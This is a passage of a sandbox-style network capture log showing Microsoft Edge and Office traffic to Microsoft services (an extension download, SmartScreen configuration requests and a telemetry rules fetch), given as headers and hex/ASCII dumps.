gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:35 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 75fbe967-f01e-0036-40bf-3ec555000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222435Z-15b8b599d88pxmdghC1TEBux9c000000057g000000005km3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:35 UTC	15821	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-24 22:24:35 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-24 22:24:36 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49815	152.195.19.97	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:34 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733091869&P2=404&P3=2&P4=J7Cg4vyUEhdbGyZKW1fUv0OjhjvK24vCzlhBK%2f%2bR50fCPd9vooTztRfaQwGhgNWa21PcywLThi4LsbbFredlYg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 5mCTRHMIAEUTbGrclMCw4w Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:35 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12413606 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sun, 24 Nov 2024 22:24:35 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-24 22:24:35 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49816	4.249.200.148	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:35 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidngrN3FlNCt1d3pYcUhGSWhURmpRZz09IiwgImhhc2giOiJEcEluMzJhYkdQZz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-24 22:24:35 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-24 22:24:35 UTC	248	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:35 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-24 22:24:35 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49819	4.249.200.148	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:35 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiQ0R4bTFyemNYazZORGwxUGJzVlhTZz09IiwgImhhc2giOiI1TGl5N1R1VUhFbz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-24 22:24:35 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-24 22:24:36 UTC	302	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:35 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-24 22:24:36 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-24 22:24:36 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-24 22:24:36 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222436Z-174c587ffdf9xbcchC1TEBxkz400000004yg000000006sfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
